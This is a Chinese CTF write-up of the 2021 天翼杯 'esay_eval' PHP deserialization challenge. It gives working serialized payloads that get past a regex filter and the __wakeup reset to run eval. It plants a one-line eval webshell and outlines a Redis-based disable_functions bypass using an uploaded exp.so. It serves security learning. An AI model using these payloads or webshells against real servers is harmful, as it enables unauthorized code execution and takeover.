[天翼杯 2021]esay_eval
- 1 解题流程
- 1.1 分析
- 1.2 解题
- 1.2.1 一阶段
- 1.2.2 二阶段
- 二、思考总结
题目代码:
<?php
class A{public $code = "";function __call($method,$args){eval($this->code);}function __wakeup(){$this->code = "";}
}class B{function __destruct(){echo $this->a->a();}
}
if(isset($_REQUEST['poc'])){preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);if (isset($ret[1])) {foreach ($ret[1] as $i) {if(intval($i)!==1){exit("you want to bypass wakeup ? no !");}}unserialize($_REQUEST['poc']); }
}else{highlight_file(__FILE__);
}
1 解题流程
1.1 分析
1、看代码,有unserialize函数,说明要反序列化
2、有 eval($this->code)
,说明要RCE
3、有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
,说明要绕过waf
4、A的wakeup里面会把code置空,所以要绕过
起点:B(destruct) 终点:A(call)
链条:B(destruct::a=$a)-> A(call::code=命令)
1.2 解题
1.2.1 一阶段
-
构造序列化代码(根据waf,传输的内容不能带有大写AB,所以把代码都用小写ab表示)
<?php class a{public $code = "phpinfo();"; } class b{function __destruct(){echo $this->a->a();} } $a = new a(); $b = new b(); $b->a = $a; echo serialize($b);
得到:O:1:“b”:1:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}}
-
绕过wakeup
得到:O:1:“b”:2:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}} -
传参得到
-
构造序列化代码(输出flag)
<?phpclass a{public $code = "system('ls');";}class b{function __destruct(){echo $this->a->a();}}$a = new a();$b = new b();$b->a = $a;echo serialize($b);得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}
发现页面无法执行,说明肯定有限制了,不然不会不输出
-
查看disable_function
原来是这里限制了,那么需要改变战略,直接上传个一句话试试 -
构造序列化代码(一句话)
<?phpclass a{//public $code = '<?php @eval($_POST["pwd"]) ?>';public $code = '@eval($_POST["pwd"]);';}class b{function __destruct(){echo $this->a->a();}}$a = new a();$b = new b();$b->a = $a;echo serialize($b);得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}
蚁剑成功连接
1.2.2 二阶段
这里有两种不同的解法:
- disabled_function绕过
- AS_Redis绕过
连接后查看config.php.swp,密码you_cannot_guess_it,同时上传exp.so
使用redis插件连接,执行命令即可
二、思考总结
这道题目有个很有意思的地方,eval执行命令为什么不能显示?这个问题一开始给我搞蒙圈了,知道phpinfo可以执行的时候,突然想到我们不当当可以把phpinfo当做测试命令去看有没有回显,更可以去看phpinfo里面的配置,查看配置很可能就是解题的关键!